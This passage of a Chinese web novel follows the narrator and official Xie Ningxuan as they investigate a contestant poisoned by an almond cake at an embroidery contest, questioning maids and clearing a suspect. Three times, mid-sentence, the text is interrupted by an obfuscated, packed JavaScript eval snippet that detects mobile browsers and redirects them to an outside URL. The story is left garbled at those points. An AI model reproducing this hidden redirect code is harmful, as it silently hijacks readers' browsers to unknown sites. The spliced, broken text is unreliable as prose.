郡主抿抿嘴唇,好像想说什么。但最终,她只是略点点头,便拉着金宝鸯往外走。后者临走前还有些不放心,唤了一声“谢府丞”。 谢宁轩垂下眼睫,岿然不动。 我莫名感到一股流动的气息环绕,羸弱、幽暗。 金宝鸯最后也没说出什么,她轻拭着泪眼,在郡主搀扶下,一步三顿的出去了。 这场景暗藏的深意不难懂,我盯着金宝鸯的背影心想。 谢宁轩却打破了我的沉思,他转过身面对我,眼眸深深:“羽书,你今天在现场看完整场比赛了吗?有什么不寻常的?” 我甩开了此刻不该有的情绪,回归到案件本身。用力回想方才的观赛经过,但无果。 “并没发生什么蹊跷或者不寻常之事。说实话,林虹玉和这位金小姐,若非嬷嬷叫嚷了一句,不允她二人交换丝线,我都没怎么留意她们。佳丽太多了,各个打扮得都那么精致。” “交换丝线?那交换成功了吗?”谢宁轩沉吟着问。 “没有。似乎林虹玉刚伸出手,嬷嬷就发现喝止了。那金小姐颇难为情,脸都红了,倒是林虹玉,好像不太服气。但碍于是赛场,她也没说什么就继续女红了。” 谢宁轩细密的长睫垂下,他想了想,又问:“那观赛席呢,可有不寻常?” “也没什么特别发生……哦,三殿下在一半才来,还没上座,在我旁边小憩。这算异常吗?” 谢宁轩蹙眉,不过一瞬。再开口,他只是说:“其实死者既是中了糕点夹心里的毒物,按照推论,杏仁糕得在比赛前就到她手中了。” “所以焦点在于林虹玉怎么得到这块有毒的糕点。”我赞同,“毕竟她房中和妹妹房中的食盒,剩余糕点可没问题。” 谢宁轩颔首,招手下令将死者的丫鬟带了进来。 熟料,不等我们发问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221566|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六梅一来就跪下,着急为主辩护:“大人,大人!请不要相信金小姐所言,我家小姐没做什么见不得人的事!” 谢宁轩眯了眯眼,递给我个眼色。 我会意,蹲下身放柔了声音:“六梅,你为什么这么说?金小姐与你家小姐不和吗?” 六梅眼睛肿肿的,眼泪却还止不住。“处是处的愉快,可奴婢不明白,方才金小姐说什么秘密啊,我家小姐哪有不可告人的秘密啊?” 哦?这是指金宝鸯撒谎了? 我直接问:“你家小姐是否与寇湘湘吵过架?” 六梅一怔,倒也没否认:“一个月前,是吵架了。” “为什么呢?” “因为小姐跟李府说,寇小姐交上去的绣布,是绣娘绣的,不是她自己的绣工。” 我耳朵一跳,登时有点懵。我还做好层层挖掘的准备呢,她怎么就直接坦白了?而且,这的确属于背刺友情,何来言之凿凿不存在见不得人? 谢宁轩亦挑眉:“六梅,你家小姐这行为,难道不算不齿?” 六梅急了:“这怎么能算恶行呢?绣花大赛明确规定了不可以弄虚作假,如果被发现了,是要张贴告示广而告之的啊,那寇小姐将来婚事都得受影响!小姐一早就知道,一直力劝寇小姐不能胡来,后见她一意孤行,才去举报的啊。” 啊?剧情反转了? “那当日的吵架,便是因为寇小姐知道了此事?她怎么知道的?” “我们小姐直接告诉她的呀!”六梅摊手,“这是为了她好,有什么说不得的?寇小姐当时听说了,是很生气。她本来就是急脾气,小姐、小姐说话也比较直,二人就吵了起来,寇小姐气的动了弓箭。但是、但是,这都是为了寇小姐好啊。” “你说造假被发现,会有后果严重,但林虹玉去举报,不是一样陷好友于不义吗?” “怎么会!”六梅辩白,“我家小姐可不是告状呀,是特意托人偷偷告诉李府管家,请他撤下寇小姐的资格,但未声张,对外只说没通过普选罢了。说句难听的,若不是我家小姐主动告知,寇小姐至今还蒙在鼓里呢!” 这话说的有些道理。我曾听王婆梳头时八卦过,本届绣花大赛发现了几个年龄弄假、才艺造假的情况,传至坊间尽知。寇湘湘的名字未曾出现在这里。 谢宁轩亦沉默未语,只是招下属去核问李府管家,随后,又和我交换了个眼神。 林虹玉举报的动机并非背刺好友,而是替她悬崖勒马。但寇湘湘却未承情,以至二人交恶。甚至昨天来赛场,依旧发生了口角。 六梅不服气的撅撅嘴:“那算什么口角啊,只是小姑娘别扭罢了!” 但不管怎么说,寇湘湘还是存在生怨报复的可能。关键就在于——“六梅,你刚说那杏仁糕来自二小姐,那寇湘湘与二小姐关系如何?” “没什么交往。”六梅摇头,“二小姐体弱久病,与小姐和玩伴,素来不打交道。” 哦?姐妹俩不是一个交际圈?这么说,寇湘湘有毒,也下不到二小姐做的杏仁糕里啊。何况,二小姐其余的糕点也没有毒。 咦,难道糕点并非来自二小姐制作的食盒? 我想起昨晚的晚宴,忙问:“你家小姐参加晚宴了吗?参加后可是直接回房了?” 六梅一甩帕子:“您说起这话,奴婢倒想起来,昨晚真是令人生气!” “怎么了?” 六梅尚未回答,杨捕头进门,带来了坏消息。“大人,寇湘湘不在李府!今早比赛未开始前,她就匆匆离开了!” 33.询问 案发前就离开了李府?难道真是心虚跑路了? “城门没有查到寇府马车外出,寇湘湘或还在寇府内。”杨捕头又道,“大人,您看需要入府查问……” 谢宁轩略一扬手,蹙眉道:“定远伯已钟鸣漏尽,不宜惊动。不过是调查之初……这样吧,我去一趟,随后赶往林府。浮生,此处交给你了,全部观赛人员及李府诸人的盘查,你安排下去。” “是,大人。” “至于羽书……”谢宁轩眼风扫过来,似是谆谆诱诱,“帮我个忙好吗?” “什么忙?”我有些讶异。 “此案发生在绣花大赛赛场,且有皇妃被惊扰,查案必得迅捷。羽书聪慧敏锐,又……”他顿了顿,眼中含上些笑意,“一向喜欢古来断案神明的话本。既如此,不妨跟着浮生,查问查问线索。如何?” 嗯?怎么好好的夸赞的语句,从他嘴中说出,总有种话里有话的感觉? 见我抬眼发懵,谢宁轩弯了弯嘴角,梨涡隐现。 “等我回来。”他轻声说,随后又与杨捕头耳语几句,便拂袖离开了。 “王小姐,王小姐……” 两声呼唤,神思太游被扯回,我愕然意识到我正盯着谢宁轩的背影发呆。而大厅里,丫鬟六梅还跪在一旁哭泣。 “王小姐,接下来该怎么办?” 啊,你问我?你才是捕头诶。 杨捕头却嘿嘿一笑:“王小姐睿智,贵妃醉酒案卑职就领教了,大人也说,要多请教小姐意见。” 呵呵呵呵……这恭维我一时没敢消化,因为就在这一刹那,我突然意识到,你们青朝不是没有女性入仕的前例吗?那这种皇妃在场,满是达官贵人的场合,让我一个外人参与,岂不更引人注意?但谢宁轩,好像是有意留我参与调查的诶。 “那,咱们继续盘问六梅?她刚才话也没说完。” “哦,行啊。”我潦草的点点头,心里在想,关于谢宁轩的谜题好似还有很多,我其实,一点也不熟悉他,不是吗? 六梅仍沉浸在悲伤中,哭哭啼啼的讲述着:“昨个一到李府,管家就安排丫鬟侍奉,不让奴婢跟着进湘水落了。晚上,奴婢突然发现小姐的枕巾还在奴婢怀里,小姐没有这个枕巾,就睡不着觉。所以奴婢赶紧送了过去,湘水落门口的婆子却不让进。正着急着,我家小姐从外面独自回来,身边竟连个丫鬟都没有!奴婢一问才知,小姐晚宴喝的有点醉,去散了散步。小姐脚步都有些摇晃,竟然没有人陪!奴婢气的不行,就揪着婆子质问来着。那婆子也怕小姐出事,就破例放奴婢进去了。小姐又喊叫饿,于是奴婢拿三枚杏仁糕给她吃了。之后小姐睡熟,奴婢才出来。” 无暇顾及其他,我走到桌边,将食盒拿起细细端倪,确认一盒缺了两枚,一盒缺了三枚。方才李府下人怎么说来着?林二小姐昨晚吃了两枚。 嗯,不错,少了三枚的,正是从林虹玉房中拿来的。 “今早比赛,奴婢早早来等小姐。还看见小姐进正殿前,从手帕中取出一枚杏仁糕含在嘴里。奴婢一直在角落里给小姐加油助威,哪知,哪知……呜呜呜呜呜……” 诶,等等?又来一枚杏仁糕?林虹玉昨晚不就吃了三枚吗? “是三枚啊,奴婢亲眼看小姐吃下的啊。”六梅茫然的说。 “那她今早吃的杏仁糕又是哪里来的?难道湘水落内早饭有提供杏仁糕?” 李府下人否认:“没有。昨天、今天的吃食都没有杏仁制品。” 嘿,有点意思啊。那多出来这枚,怎么就凭空出现了? 厅中数人面面相觑,没有答案。我只得先追问其他:“那六梅,昨晚你侍奉你家小姐,可有觉得异常之处?” 六梅张了张嘴,似乎有些拿不准:“奴婢、奴婢是觉得,小姐昨晚回来好像很高兴,可是又好像不高兴。” “什么意思?” “因为小姐说饿,奴婢捧了食盒来,小姐却对着食盒骂了几句……”六梅不安的顿了顿,小声续上,“嗯,骂了几句二小姐。奴婢追问,小姐也没细说。没过一会儿,小姐突然又笑了,又取了三枚杏仁糕吃了。” 啊?一会儿生气一会儿笑,对着食盒骂二小姐,但又吃了人家做的杏仁糕。这林虹玉怎么感觉人格分裂啊? “来李府之前,没有类似的表现吗?” 六梅摇头。 可昨晚的宴会我记得,所有参赛佳丽单独成席,都有李府丫鬟陪伴,祥和安宁。能让林虹玉产生转折之大的情绪,应并非来自席间。那就是之后她在散步中,遇到了什么事、什么人? “散步……”杨捕头沉吟着问,“林小姐昨晚去哪儿散步了?” 没能侍奉左右的六梅自然不知情,但我没料到,李府配给林虹玉的侍奉丫鬟,竟也回答不上来。 “奴婢们是跟着林小姐来着。”扎着两条辫的李府丫鬟委屈的说,“昨晚宴会后,林小姐颇有醉意,想散散步再回。奴婢们便陪着小姐在花园里漫无目的走着。后来碰见两个小姐坐在园子里说笑,其中一名高高束发的小姐还和林小姐相视对立,不过并没有说话。随后,那位小姐就与同伴携手离开了。” 高高束发的小姐? 另一名盘发丫鬟补充道:“林小姐盯着她的背影看了一会,就朝反方向走了。但不知道为什么,就不愿奴婢们跟着了,让奴婢们……”她踟蹰了一下,小声道,“滚。” 杨捕头语气不善:“所以你们就不跟了?” “不,不是!”两条辫赶紧解释,“奴婢们哪敢放任小姐独自散步,出了事奴婢们可担不起啊。奴婢们一直悄悄跟在后头,但、但……几个弯弯绕绕后,奴婢们就、就跟丢了。” “奴婢们很害怕,马上分开找,却怎么也找不到。等奴婢们回到湘水落,正碰上林小姐的丫鬟叫嚷着要进去。随后林小姐就出现了。” “那是什么时辰?”杨捕头问。 “亥正。”李府两个丫鬟齐齐回复,“当时正好报时,奴婢们都听见了。” 可我记得晚宴不到亥时就结束了。怎么林虹玉独自溜达了这么久才回来? “看门的婆子就让林小姐带丫鬟进去了?呆了多久?” 两条辫想了想:“不到两刻钟吧。奴婢们一直在门口候着,那位姐姐出来后说林小姐睡下了,叫奴婢们别去打扰。” 这说法倒是也能和六梅的说辞对上,并无矛盾之处。 “那从你们第一面见到林小姐到今早她去参赛,可有什么不对劲的地方吗?” 两个丫鬟茫然摇头。 也是,这俩丫鬟不过是临时使唤的,又能多了解林虹玉呢?听她们的描述,连昨天林虹玉生气都不知道。 我又问了几个问题,但二人也答不上来。不过可以肯定的是,在二人服侍期间,未有外人接触过林虹玉。 看来有毒的杏仁糕,唯有林虹玉单独散步的这一时段能获取了。是什么人给她的?她怎么就接下,又放到哪里了呢?为什么当晚饿了没有吃,反而在比赛期间服下了呢? 眼看丫鬟们都问不出什么了,杨捕头又叫来了李府守门的小厮,上来就问:“昨天林家二位小姐抵达的时候,是你守门的?听闻林小姐和寇家小姐发生口角了?” 小厮搔搔头:“不能算是口角吧。当时林家小姐,哦,小的说的是参赛那位。她下马车后发脾气呢,好像是嫌自家妹妹动作慢。这时候寇家马车也到了,林小姐突然就噤声了,甩了袖子就先进府了。小的看见寇小姐下车的时候撇了撇嘴,但没有吵起来呀。” 咦,这说法有点意思。 “然后呢?寇小姐也下车入府?和林二小姐有对话吗?” 小厮摇头:“没有啊,看都没看一眼。那位二小姐倒是向她福了福身,可人家也没搭理她呀。”说罢,小厮又贼眉鼠眼的四下看看,压低声音,“不过说起来那寇小姐脾气是不怎么样,小的上前迎接帮忙拿包袱,还被她的头发扫到,她还瞪了小的一眼。” 我不自觉耸起了眉头,有个念头乍然出现。 “杨捕头,六梅不被允许侍奉自家小姐,那是去二小姐那里侍奉了?” “没有,她和其他佳丽的丫鬟在西院。” 果然。我说我昨天在宁闻阁从未见过六梅嘛。 不能侍奉小姐,却也不伺候生病的二小姐。林虹玉吃了妹妹做的糕点,言语却有指责。姐姐参赛,妹妹始终没有出现过。 方才那位金宝鸯,伤心于好友的乍然离世,却没过问她妹妹一句。寇湘湘,在描述中,对这位妹妹,亦几乎是一种无视的状态。倒是明摆着不喜林虹玉的郡主,对二小姐极其在意。 呵,难道林家二位小姐不和? 我正思索着,有衙差来报,搜完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233706|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林虹玉下榻的居所,并未发现异常。杨捕头朝我看来,用请示的语气:“王小姐可打算去瞧瞧?” 自然得去。虽说是临时下榻,但也有死者生活的迹象,或许会发现什么线索。我点点头,便和杨捕头一道出了大厅,往湘水落方向走。 其实在贵妃醉酒案中,我和杨捕头没少打照面,也说过许多话,算是熟识。不过此刻一路同行,还是多少有点尴尬。 “咳咳,那个,杨捕头啊,请问你们……”我率先了打破了沉默,想趁机唠嗑一二,打探打探谢宁轩的身世。 “王小姐别客气,叫我浮生吧。” “哦,好,浮生。那你也别小姐来小姐去,就叫我羽书吧。” “啊?那哪行!”浮生却头摇的像拨浪鼓,“小姐闺名,卑职可不敢僭越。” 嗨,不就是个名字么,而且你跟我,自称哪门子的卑职啊。 然而浮生十分固执,坚持不肯改称呼。我明白这是基于时代的束缚,也只能轻劝两句,未再强求。 “行吧,随你怎么叫吧。”我耸耸肩,话锋一转,奔入了主题,“话说,你家大人,不是齐王爷的长子吗?怎么我听说世子却差点封给了二公子呢?” 浮生眼珠子瞪得浑圆:“王小姐不知道吗?您不是和二公子青梅竹马长大的吗?怎么会不清楚大人的身世?” “额,我这不是失忆了嘛。隐约好像记得,他的母亲不是王妃?”我盯着浮生,试探着问。 浮生条件反射的点了下头,马上又警觉的四下看看,憨赧的一笑:“这个,嘿嘿,卑职不晓得,呵,不晓得……” 哪是不晓得啊,看来是不能说。嗨,也对,他是谢宁轩的下属,那又是宗室,的确不便私下议论。只是方才初初的反应,还是让我觉察到,我没猜错。 老爹之前拍马屁的时候也提过一嘴,说王妃生育了两个孩子,依旧美貌不显年龄。现在看来,嫡子嫡女,就应该是二公子和已出嫁的齐王府大小姐了。 这么说,谢宁轩是庶长子啊?所以世子的爵位由嫡长子继承了? 但他年纪轻轻做到京城府丞这个位置,也算是厉害了。怎么,这个朝代还用着推举制,九品中正制?谢宁轩是进了国子监一类的场所,简单结业就能当官了?呵,拼爹呐? 谁知,浮生听完差点跳脚,震惊的说:“王小姐,你说什么啊!我大青朝哪来的什么中正什么推举啊!天哪,小姐不知道吗?我们大人可是年少登科,十五岁就取得了二甲十三名,创了我大青年龄之最!按照祖制,这都可以立即授予官爵的,是圣上觉得大人年幼,还需磨练,才令他继续做皇子陪读。大人弱冠那年,才去做了户部郎中,当年就查出云锦私贩一案,轰动朝野!本来按照考核,大人还能晋升呢,到今天,或许都能当上户部左侍郎了!可两年前前任府丞致仕,大人是自请来当府丞,维护京城治安的呀,卑职们都替大人可惜呢!” 滔滔不绝的赞许落在我耳,从头惊到尾。 二甲十三……是哦,我怎么忘了,早在秋水镇,谢宁轩就曾报过他的科考成绩啊。当日说的好像是二甲十四来着?哦,也对。如果当年他的少年登科过于惊艳,天下读书人皆知,他若直白说出,身份也就暴露了。 没想到啊,这家伙履历居然这么丰富、硬核。明明可以当个纨绔,成绩却如此耀眼。啧啧,再见他,我都得刮目相看了啊。 我在心里百转千回,不知道谢宁轩已然在回程中。 等我们踏入湘水落,刚在林虹玉的屋中查访时,我看到屋中很干净,并没有过多私人物品。衣柜里放着几身干净衣裙,床边还整整齐齐放着她的绣鞋,它们的主人却已经不在了。 林虹玉昨天下午才来李府,到底是什么人迫不及待杀了她呢? 我思索着,没注意手下的动作。耳旁却传来一句打趣:“这屋子是客居,能有什么?羽书将那香炉前后翻了十二次,别不是看上人家东西了?” 是谢宁轩回来了。 他换下了官服,穿着一身白色绣枝芽暗纹的长衫,明明低调不彰尊贵,但面对那双如海深眸,我还是呼吸一紧。 谢宁轩收起调侃笑容,朝我走近两步,低头轻问:“怎么了,羽书?” “啊,没,没什么……”我压下即将跃出喉间的心跳,逼自己专注回案件,“那个,你去问的怎么样,寇湘湘是无辜的吧?” 34.散步 谢宁轩眉头一挑,眸中亮光跳跃:“为什么这么说?你查到什么了?” 我移开视线,用随意的语气回答:“我随便猜猜而已。” “猜猜?”谢宁轩微笑,梨涡露了出来,“羽书这么聪慧,定不是无端瞎猜,分明是有所推论,是不是?” 我耸耸肩,有点后悔不该脱口而出了。 谢宁轩又道:“你推论的一点不错,寇湘湘与本案无关。她今早着急离开,是因为定远伯突然昏倒了。而昨晚,她一直与小姐妹在一起,我过来的路上衙差也查实了,她与林虹玉没有私下接触过,更未曾递出过任何东西。” 果然如此。 “说说吧,你怎么推……猜到的?”谢宁轩歪了歪头,全神贯注盯着我。许是见我迟疑,他轻笑道:“怎么,和我还要藏拙吗?” 呵,也是。见你第一次就暴露了真实性情,确实也没必要藏拙了。 但,我到底不是真正的王羽书,乍然性格的变化……我担忧呐。 然而浮生也凑了过来,跟个好奇宝宝似地左右看看,十分渴望着答案。 我深吸口气,只好不做多想,只沉浸于案件。“我能猜到,主要是因为金宝鸯的话。寇湘湘能在得知实情时抓起弓箭就射,说明不是个内敛、阴狠的人,李府守门小厮也说过大概的话,暴脾气、直脾气。寇湘湘若已深恨林虹玉,在李府门口碰见,她断不会只是撇撇嘴。除此外,昨晚侍奉林虹玉的两个丫鬟也说过类似的话。” “啊?那两个丫鬟说什么了,她们都没见过寇小姐啊?”浮生纳闷。 “不,昨晚林虹玉在散步时碰见的一对女眷,应该就是寇小姐与同伴。你忘了吗?李府守门小厮说,寇湘湘下马车时,头发扫到了他。可你看看我,再想想今日遇到的其他女子,大部分都是盘髻,怎么可能会以头发扫到他人?除非寇湘湘高高束发,非盘髻。” 谢宁轩点头:“不错,我今日见到的寇湘湘也是如此。” “那就是了。昨晚那么巧,李府丫鬟说碰到的也是高高束发的小姐。结合林虹玉与其对视后,突然发火赶走丫鬟来看,此人必是寇湘湘。” “从发髻入眼,以小见大,羽书果然敏锐。”谢宁轩笑着赞了一句。 我未自得,只继续说:“综合这些场景,六梅说的没错。这一对好朋友正处于谁也不肯先低头,谁也不愿先开口的别扭阶段。许是后来想通了,许是原本的友谊还是扎实的,总之,生气过后,寇湘湘并未对林虹玉生恨。” 谢宁轩莞尔:“分析的没错。当我告知死讯,寇湘湘非常伤心,也说了当日的确是林虹玉自己说出真相的,她纵然生气,但心底也知道,林虹玉此举是为了她好。” 浮生还有些不敢置信,又迟疑着问:“可,这也不能说明寇湘湘就没递出糕点啊,王小姐据此判断,是不是有些贸然了?” 我摇摇头:“你看,林虹玉昨晚是很反常的。六梅说的高兴又不高兴,体现在寇湘湘身上,完全说不通。李府丫鬟的说辞可知,林虹玉与寇湘湘只是偶遇,当时双方身边都有其他人,也没有对话交流。如林虹玉故意赶走丫鬟是为了和寇湘湘再次私下见面,寇湘湘示好道歉送了糕点,林虹玉高兴则已,何来情绪反常,又为何骂二小姐几句?这都无法解释。” 所以我判断,昨晚她见过寇湘湘后,二人并未再次私下会面。既如此,寇湘湘自然没有嫌疑。 “漂亮。仅凭几个片段就能做出准确的判断,羽书可真是长大了。”谢宁轩一直弯着嘴角,朝我走近两步,眼眸深深。 浮生被说服了,拍手喝彩,复又叹口气:“哎,那这条线又白费了。耽误一天时间!” 我朝他眨眼,轻声道:“其实寇湘湘与死者的这点事,连纠纷都算不上。当你们排查昨晚的时间线时,会很快就将她排除在外。” 浮生赞同:“是啊,若非她早上有急事回家了,早就叫来问清楚了。大人也就不用跑这一趟了。” “那浮生,你觉得这个线索的提供者,为什么要讲这件事呢?” 浮生表情一震:“啊,她故意的!那个金宝鸯才是真凶?” …… 谢宁轩冷脸白他一眼:“不是已经调查清楚了吗?参赛佳丽昨天到了之后全部有人陪伴,金宝鸯哪来的单独外出时间?” “哦,哦,对哦。”浮生被领导训斥,伸了伸舌头,“那、那,那还能是因为什么?” 我朝他努努嘴,递过去个眼色。 浮生不明所以,顺着目光一瞧。阳光下,谢宁轩身姿翩然,清朗如竹,脸部弧线侧成峰,尤以一双深邃的眼睛为上佳。 浮生露出恍然之色,又赶忙凑过来和我挤眉弄眼。 “浮生,太闲的话可以去巡逻。”谢宁轩负手而立,一个眼风扫过,浮生立即正经起来,抱臂做思考状:“嗯,嗯,这个案子嘛,嗯,那个,寇小姐既然无关,那死者还得罪谁了呢?” 谢宁轩眼风又扫向我,眼中是昂扬的兴致:“羽书觉得呢?” 我一瞧他这架势,就知道他一定也有了怀疑对象,便没说话。 恰在此时,有衙差进来汇报:“大人,查到了。最后一个见到死者的是个厨娘,她昨晚去给茹妃送燕窝,在水漾桥那边遇到了独自散步的死者,但没有注意她之后的去向,具体时辰她也记不清了。” “水漾桥?水漾桥在哪?” 浮生指向西南角。 “既如此,”谢宁轩朝我侧侧头,“咱们去把林虹玉昨晚的线路走一遍吧?” 查到现在,我已经可以肯定,有毒的杏仁糕,一定是在昨晚散步中,被凶手给予了林虹玉。但问题是,谁?在哪里?为什么林虹玉就接下了?大家闺秀这点素养应该还是有的,怎么就走着走着接了个糕点就放在帕中了呢? 小伙伴分享吃食? 可寇湘湘已经排除嫌疑,好友金宝鸯则作为参赛佳丽一夜都有李府丫鬟陪伴,证实未有单独外出。那李府中,还有谁是林虹玉的好友,能让她接下吃食毫不顾忌? 妹妹递给姐姐的? 浮生却说:“林二小姐的丫鬟称她一晚都没出门。” 我身侧的谢宁轩挑了挑眉,似是想说什么。话到嘴边,他却咽了下去。只朝李府花园安静的走着,寻找林虹玉的行踪,致力于跟着她的脚步发现端倪。 一刻钟后,我们同时意识到,这个法子行不通。 李府中心是一处湖泊,湖面上假山环绕,设置了很多建筑优美的亭子和款式典雅的小桥。湖面周边又有各式各样的园林,在假山和各种小桥的营造下,曲道很多。 从丫鬟跟丢了的花园到最后被目睹的水漾桥,就有不同的三四条路。而水漾桥外,又有三条路,一条通向浣衣房、厨房和下人房,这条路上来来去去很多丫鬟小厮,但没有人见过林虹玉,看来这条可以排除。另一条通向百花园,第三条路则仍旧是在湖面上通过小桥不断接连。 我们随机选择了第二条路,走过去才发现傻了眼。 李府为了营造奢华富贵的环境,为了将有限的空间修建成为无限的容量之大,便修建很多路,致力于提供很多选择。为了不迷路,李府还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255104|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人性化得给每一座桥都命了名,并且在旁边插了牌子指明了方向。 我细细看了一番,发现虽然每条路都经过不同的园林或者亭子,但基本上都能走出去,还真是条条大路通罗马啊。 我们选择的第二条路走出去又是三条不同走向的路,得,这么走下去,无限的可能性,鬼才能知道昨晚林虹玉走了哪条路啊。 而且小路丛生,就说我们走着的时候,还碰到两个前方拐弯处冒出来的抱着洗衣盆的小丫鬟。许是我们脚步轻,二人聊天热火,竟完全没察觉我们跟在身后。 “那个公子好帅的!郡主还亲自送给他一个食盒呢!”一个丫鬟羡慕地说。 另一个则带着八卦的语气:“郡主还说是亲手做的呢,两个人在一起走着,真是才子佳人啊!” “什么时候我也能遇到一个那样帅的男人!” “别做梦了,人家阳远郡主什么身份!你在这做白日梦!” 阳远郡主?郡主送谁食盒啊?不会是…… 猜测还没出个结果,谢宁轩已然朝浮生挑眉。后者连忙汇报,原来安排下去的衙差将男宾、女客、李府外围下人全部盘问了个遍。事发即便关涉皇妃,查案也得花费时间,不可能将所有人扣下不放,更不可能让下人停工。 谢宁轩也没说什么。已近黄昏,我们都走的口干舌燥,只能就近到一处亭子休息。 浮生觑着领导眼色,悄悄抱怨:“这什么设计啊,真离谱!” 谢宁轩让开路,请我先入了亭子坐下后,方撩袍坐到我对面,一面解释道:“李府祖上出过风水大师,李怀远以堪舆之术重修府邸,是对祖上的致敬。” 浮生小声哼哼:“致敬?呵,祖上来了都得迷路!” 我和谢宁轩同时莞尔,他指向对面的竹林,又道:“抛开人命官司,这庄园如此修建,是很优美的。你们瞧对面的枫叶园,竹林下用的都是南方的红色黏土,深层肥沃,北方可不常见,足见李府对本次大赛的重视。” 重视是重视,优美归优美。可这层层叠叠、环环绕绕的设计,想要通过重复林虹玉的脚步去复原昨夜经历,就行不通了呀。 我感到心累,捏着脖子,索性从其他方面入手:“李府接触过林虹玉的人都核查了吗?与她之前有无渊源?” “核查了的。”浮生摇头,“丫鬟是随机拨来的,和死者完全不认识,也没有在林府服侍过的经历。参赛佳丽方面,大人刚也说了,唯有死者出来散步。” 这么说来,有竞争关系的佳丽们未有交集,昨晚也没有单独的动线。而与她有接触的丫鬟却又毫无恩怨。 六梅倒是与林虹玉单独相处过,可她杀害主子,又是图什么呢? 想到此处,我无端打了个冷战。脑海中浮现出一个场景,我被好心人从河中救起的场景。难道六梅与橙橙相似,都存在谋杀主子的动机? 不,若真如此,来李府动手,也是下策。结合她未曾试图逃走来看,真要下毒手,在自家有太多的机会。 何况,我对林虹玉今早的举动颇为在意。她是比赛前从帕中掏出杏仁糕服下的,这似乎蕴含着某种情谊。明明房中有妹妹亲制的糕点,她为何没有带,反而选择帕中的?如是六梅赠与,当不至于如此珍重。 反常的反应,我直觉与爱情有关。可是,作为佳丽,林虹玉在比赛前夕会与男子相约吗?在别人家的地盘,夜晚私会,这若是被撞见,饶是民风开放,佳丽名声也得受损。 思绪丛丛绕绕没个焦点,我交叉放在石桌上的手背,却忽然感到一阵暖意。 35.林二小姐 低头一瞧,一只大手已然拿开,残影的碰撞,似是一场幻觉。 我正愕然,谢宁轩的声音在耳边响起,带着安抚的意味。“不会是暗害主子的。羽书,别怕,这儿是京城,有我在,你不会有危险的。” 抬眸,是他坚定的眼神,透着丝丝涓涓的深意。心口紧滞感倏地褪去,化作点滴涟漪。我感觉我好像脸红了。 “咳咳咳……” “啊那个,浮生啊。”谢宁轩似是也刚被拉回现实,他清了清嗓子,又恢复到清冷稳重状,“王副官查出砒霜之后,不是让你派人去查医馆了吗,有回复了没?” 拜医馆案所赐,我知道了青朝的砒霜买卖得有纪录。那一案的凶手就是医馆中人,自便得到,那本案呢,凶手又是如何搞到砒霜的? 浮生摇头:“目前还没有查到任何相关线索,来参赛、观赛的,都没有接触过医馆。” 可这些都是达官贵人,自不会亲自去买,若遣个小厮随从,可怎么查啊? 我凝目看向谢宁轩,他却没追问,而是眯了眯眼,似是胸中已有丘壑。 未在耽搁,我们起身,沿着湖心花园一路往外走,渐渐偏离了美景如画的区域。浮生有些诧异,我却是越走越眼熟了。这是准备往宁闻阁去的吧? 谢宁轩果然在怀疑林二小姐。 可关于林二小姐是否观赛、两姐妹是否不和,他又怎么知道的?看来方才去林府报丧,他又得到了些新线索。 我沉默的走在他身侧,有一搭没一搭的胡思乱想,没留意他的眼风,一直在往我身上扫。直到他终是挑眉问:“羽书似是毫不惊讶接下来的去处,怎么,我们又想到一起了?” 我没说话,浮生已耐不住:“大人,这是去哪啊!” “去宁闻阁,看林二小姐。” “哦,报丧去哪?” 谢宁轩朝我侧侧头:“羽书说呢?” 我不答反问:“可刚才浮生说了,已经查问过,林二小姐昨晚没有出过房间。” 谢宁轩眉头轻轻蹙起。我忍不住揶揄道:“没想到吧?怀疑到动机没有用,她没有作案时间。” “动机?”浮生听明白了,惊讶不已,“二小姐?啊?大人怀疑死者的亲妹妹啊?这怎么可能!” “亲妹妹不假,可她的动机可不轻。” *** 原以为宁闻阁又是一片寂静,谁知还没走到门口,呜呜的哭声和阳远郡主那熟悉的声音便已传来。 我们踏入院中,正有两人站着交谈,竟是李怀远与金宝鸯。 “谢兄!”李怀远闻声上前,神情焦灼,“你怎么过来了?案子查怎么样了?” “还在查。怀远兄,府内巡逻你都安排好了吗?三殿下去南都传旨,不能协助你了。” “无碍,我都安排好了。”李怀远点头,与谢宁轩叙说起来。 浮生在一旁,轻轻朝我侧了侧头。我的眼光,亦落在了金宝鸯含羞带臊的脸庞上。 这一幕,意味太明显了。 事实上,早在金宝鸯提供线索的时候,我就觉得不对劲了。 一般来说,亲朋逝去,生前的污糟事,没人会主动提及,尤其还牵涉到另一个亲朋。站在现在这个时点,已经查清始末,知道林虹玉并未背叛闺蜜。但当时乍一听,谁都会认为林虹玉德行有失,且寇湘湘,亦有污点。 